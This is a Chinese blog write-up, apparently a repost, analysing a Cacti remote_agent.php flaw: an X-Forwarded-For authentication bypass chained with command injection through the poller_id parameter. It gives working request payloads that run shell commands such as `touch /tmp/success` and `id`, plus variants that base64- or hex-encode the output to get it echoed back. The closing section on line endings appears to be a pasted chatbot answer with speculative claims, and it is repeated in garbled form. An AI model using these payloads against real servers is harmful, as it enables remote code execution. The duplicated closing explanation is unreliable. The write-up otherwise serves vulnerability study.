当前位置: 首页 > news >正文

cacti的命令执行和回显

环境

Docker环境安装

可直接在docker-compose.yml添加代理

 environment:- HTTP_PROXY=http://your-proxy-ip:port- HTTPS_PROXY=http://your-proxy-ip:port- NO_PROXY=localhost,127.0.0.1,db

首先在linux中安装docker和dev扩展进入docker环境中,然后进入docker的bash中

docker中直接执行 # 2. 安装指定版本的 xdebug
pecl install xdebug-3.1.6# 3. 启用 xdebug 扩展
docker-php-ext-enable xdebug# 4. 重启容器
exit
docker restart <your-container> 3.1.6是php7.4 对应的debug 编辑 /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini,添加如下内容:zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes

docker容器中安装扩展debug和intelephense

最后重启docker容器,即可进行调试

在这里插入图片描述

触发

在这里插入图片描述

payload:

?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`
X-Forwarded-For: 127.0.0.1

在这里插入图片描述

分析

if (!remote_client_authorized()) {print 'FATAL: You are not authorized to use this service';exit;
}set_default_action();switch (get_request_var('action')) {case 'polldata':// Only let realtime polling run for a short timeini_set('max_execution_time', read_config_option('script_timeout'));debug('Start: Poling Data for Realtime');poll_for_data();

首先,利用点在可控参数action,并且进入polldata的poll_for_data()里面。那么就先需要绕过前面的鉴权

因此分为两部分:

  1. 绕过权限

  2. 命令执行

1.绕过权限

首先 进入鉴权函数remote_client_authorized()

在这里插入图片描述

然后再进入赋值,获取ip的函数get_client_addr

在这里插入图片描述

发现循环读取了数组内的IP地址,有HTTP_X_FORWARDED_FOR,但可以伪造成功的主要原因是最后的break 2,直接跳出了2层循环,也就是当读取到了第一个IP后直接结束循环了。

在这里插入图片描述

可以看出前面都为空,当循环到了HTTP_X_FORWARDED_FOR获取到了数据包中的X-Forwarded-For: 127.0.0.1

返回继续往下走

在这里插入图片描述

走到这里gethostbyaddr — 获取指定 IP 地址对应的 Internet 主机名

此时client_addr = 127.0.0.1 client_name = localhost

显然不相等,进入过滤

在这里插入图片描述

.分割去了第一个值,比如192.168.0.1,分为 192 168 0 1,取了192

但对于localhost来说没有什么用,直接返回localhost

在这里插入图片描述

这里执行一个sql语句,查询出一个数组,其中的hostname = localhost

在这里插入图片描述

在这里进行比较,二者都是localhost,返回true

至此权限通过

2.命令执行

进入poll_for_data()

在这里插入图片描述

获取3个值,前两个传入1 6,过滤就不再看了,看命令的过滤

在这里插入图片描述

就是判断这个数组里面是否有传入的值,有就返回数组里的,没有就返回GET传入的

在这里插入图片描述

对传入的local_data_ids数组里面的值进行循环,传入了一个[0]=6,也就是此时local_data_id=6,再次判断是否有效

在这里插入图片描述

如果不是数字且非空就返回报错,这里数字当然符合,继续向下,查询了两个语句

select * from poller \G;
*************************** 6. row ***************************local_data_id: 6poller_id: 1host_id: 1action: 2present: 1last_updated: 2025-07-25 15:26:37hostname: localhostsnmp_community: publicsnmp_version: 0snmp_username: snmp_password: snmp_auth_protocol: 
snmp_priv_passphrase: snmp_priv_protocol: snmp_context: snmp_engine_id: snmp_port: 161snmp_timeout: 500rrd_name: uptimerrd_path: /var/www/html/rra/local_linux_machine_uptime_6.rrdrrd_num: 1rrd_step: 300rrd_next_step: 0arg1: /var/www/html/scripts/ss_hstats.php ss_hstats '1' uptimearg2: arg3: 

在数据库中查看下这个表,有6组数据,其中只有 local_data_id = 6 的action = 2,其他都为1

最终这两组语句,一个是这个row6,一个是1

在这里插入图片描述

进入这里判断item[’action‘]的值为2

在这里插入图片描述

进入这个分支中,出现了命令执行函数proc_open

proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
  • read_config_option('path_php_binary'),它从配置中读取 PHP 二进制文件的路径。通常,这可能会返回 PHP 的可执行文件的路径,如 /usr/bin/php

  • -q 是 PHP 的一个命令行选项,表示在执行 PHP 脚本时不输出任何不必要的 HTML 或额外信息。通常用于在命令行中执行 PHP 脚本时关闭默认的输出,例如 PHP 标准的页面输出等。

  • $config['base_path'] . '/script_server.php'

这部分代码构建了要执行的 PHP 脚本的路径。$config['base_path'] 是配置文件中定义的基本路径,通常它指向应用程序的根目录。

假设 $config['base_path']/var/www/html,那么最终的路径就是:

/var/www/html/script_server.php
  • realtime 是传递给 script_server.php 脚本的一个参数。

  • poller_id是传递给 script_server.php 脚本的另一个参数。

  • $cactides$pipesproc_open() 函数的输出参数。

    • $pipes 是一个数组,包含标准输入、输出和错误流的管道。你可以使用这些管道与进程交互。
    • $cactides 可能是用来存储进程的返回值或其他信息,但它在代码中未明确使用,因此可能是一个预留的变量,用于后续处理。
  • script_server.php实现了一个服务器脚本,通过从标准输入读取指令并执行相应的功能。这个脚本能够根据不同的输入执行特定的操作,并处理来自外部传入的函数名、文件、参数等。

    • 这里不确定是直接在proc_open()执行的,还是作为参数传入script_server.php中执行的,做了一下实验

    • //script_server.php<?php
      print_r($argv);//test.php<?php
      $cmd = '/usr/bin/php -q /var/www/html/script_server.php realtime `id`';
      echo "Running: $cmd\n";
      $descriptorspec = [0 => ["pipe", "r"], // stdin1 => ["pipe", "w"], // stdout2 => ["pipe", "w"], // stderr
      ];$process = proc_open($cmd, $descriptorspec, $pipes);if (is_resource($process)) {echo "Output:\n";while ($line = fgets($pipes[1])) {echo $line;}fclose($pipes[1]);proc_close($process);
      }Running: /usr/bin/php -q /var/www/html/script_server.php realtime `id` Output: Array ( [0] => /var/www/html/script_server.php [1] => realtime [2] => uid=33(www-data) [3] => gid=33(www-data) [4] => groups=33(www-data) )
      

      由结果可以看出,传入script_server.php的参数是执行后的结果,那么执行自然是在这之前,也就是proc_open()proc_open() 默认使用 /bin/sh -c 方式执行命令;

回显

命令执行成功了,但是没有回显

继续往下看,有个对于$output的赋值,调用了exec_poll_php

在这里插入图片描述

看看会返回什么值
在这里插入图片描述

也就是继续读取管道里面的值,8192字节,最后返回输出
在这里插入图片描述

为什么要这要做,最终生成这样的东西,主要是绕过这里

1.十进制

2.16进制

3.有:!且空格数量为0

4.空格数量+1==:!其中一个的数量
在这里插入图片描述

payload:

|echo "test\r\n`id | xxd -p -c 1|awk '{printf \"%s \", $0}'`";
|echo "test\r\n:`id | base64 -w0`";
|echo "test\r\n:`id | base64 -w0|awk -v ORS=':' '{print $0}'`";

在这里插入图片描述

第2.3个payload都是满足条件3

成功回显base64编码,解码即可

补充

echo的内容中没有test,是没问题的

在这里插入图片描述

但是,如果没有\r\n会卡住,分析下原因

关键点:回显的数据需要满足 Cacti 的 socket 协议格式

Cacti 的 script_server.php(你前面贴的完整源码)中明确要求:

✅ 回显数据是 一行一结果,以换行符为结尾读取

看看这个逻辑:

$input_string = fgets(STDIN, 1024);  // <- 一次读取一行(直到 \n)

同样地,script_server.php 读入命令的 stdout 时,用的是:

$output = fgets($pipes[1], 1024);

即:

  • 它只会读取第一行(遇到 \n 停),后面不会继续读
  • 如果你的命令没有输出 \n,那这部分就可能卡在等输出,或者读不到数据

✅ 所以 \r\n 是回显的协议边界

这是 Cacti 的脚本服务(script_server.php)与调用进程之间的**“通信协议”,以行为单位**。

如果你返回的数据中不包含 \n,PHP 就不会:

  • 正确读取你的输出
  • 或者会丢失你后面的回显内容(被视为没结束)

🔬 举个具体的例子:

❌ 不带 \r\n 的输出:
echo "test:`id | base64 -w0`"

输出示例:

test:dWlkPTMzKCh3d3ctZGF0YSkpIGdpZD0zMyh3d3ctZGF0YSk=

→ 可能被脚本忽略,因为没有 \n,PHP 端一直卡在读。


✅ 带 \r\n 的:
echo -e "test\r\n:`id | base64 -w0`"

输出:

test
:dWlkPTMzKCh3d3ctZGF0YSkpIGdpZD0zMyh3d3ctZGF0YSk=

→ 第一行读到 test,第二行读到 :base64内容,成功完成协议。


🔒 为什么要用 \r\n(而不是只是 \n)?

虽然 fgets() 是以 \n 为结束符,但:

  • Cacti 是跨平台项目,Windows 下换行是 \r\n
  • 某些版本或模块明确使用 \r\n 作为行分隔符(特别是 HTTP/SMTP/Telnet 风格协议)
  • 所以更保险写法是:echo -e "line1\r\n:line2"
    \r\n:id | base64 -w0"

输出:

test
:dWlkPTMzKCh3d3ctZGF0YSkpIGdpZD0zMyh3d3ctZGF0YSk=


→ 第一行读到 `test`,第二行读到 `:base64内容`,成功完成协议。------### 🔒 为什么要用 `\r\n`(而不是只是 `\n`)?虽然 `fgets()` 是以 `\n` 为结束符,但:- **Cacti 是跨平台项目**,Windows 下换行是 `\r\n`
- 某些版本或模块明确**使用 `\r\n` 作为行分隔符(特别是 HTTP/SMTP/Telnet 风格协议)**
- 所以更保险写法是:`echo -e "line1\r\n:line2"`
http://www.lryc.cn/news/600439.html

相关文章:

  • JVM参数
  • 学习游戏制作记录(剑投掷技能)7.26
  • Flutter开发实战之原生平台集成
  • 暑期算法训练.9
  • 如何查找php配置文件php.ini
  • ICMPv6报文类型详解表
  • 面条式代码(Spaghetti Code)
  • 编程与数学 03-002 计算机网络 06_网络层职责
  • RK3568笔记九十三:基于RKNN Lite的YOLOv5目标检测
  • 【Spring AI】SiliconFlow-硅基流动
  • MySQL操作进阶
  • 备份一下我的 mac mini 的环境变量配置情况
  • Android Studio Profiler工具使用流程
  • MyBatis_3
  • 零基础学后端-PHP语言(第二期-PHP基础语法)(通过php内置服务器运行php文件)
  • 【安全漏洞】防范未然:如何有效关闭不必要的HTTP请求方法,保护你的Web应用
  • Java中List集合对象去重及按属性去重
  • linux内核电源管理
  • Java同步锁性能优化:15个高效实践与深度解析
  • [spring6: Mvc-函数式编程]-源码解析
  • 栈----2.最小栈
  • 【VLLM】open-webui部署模型全流程
  • JavaWeb(苍穹外卖)--学习笔记11(Filter(过滤器) 和 Interceptor(拦截器))
  • JavaScript中.splice()的用法
  • 从压缩到加水印,如何实现一站式图片处理
  • 动态SQL标签
  • 【动态规划-斐波那契数列模型】理解动态规划:斐波那契数列的递推模型
  • 【深度之眼机器学习笔记】04-01-决策树简介、熵,04-02-条件熵及计算举例,04-03-信息增益、ID3算法
  • 深分页性能问题分析与优化实践
  • [硬件电路-94]:模拟器件 - 信号耦合,让被放大信号与静态工作点的直流偏置信号完美的融合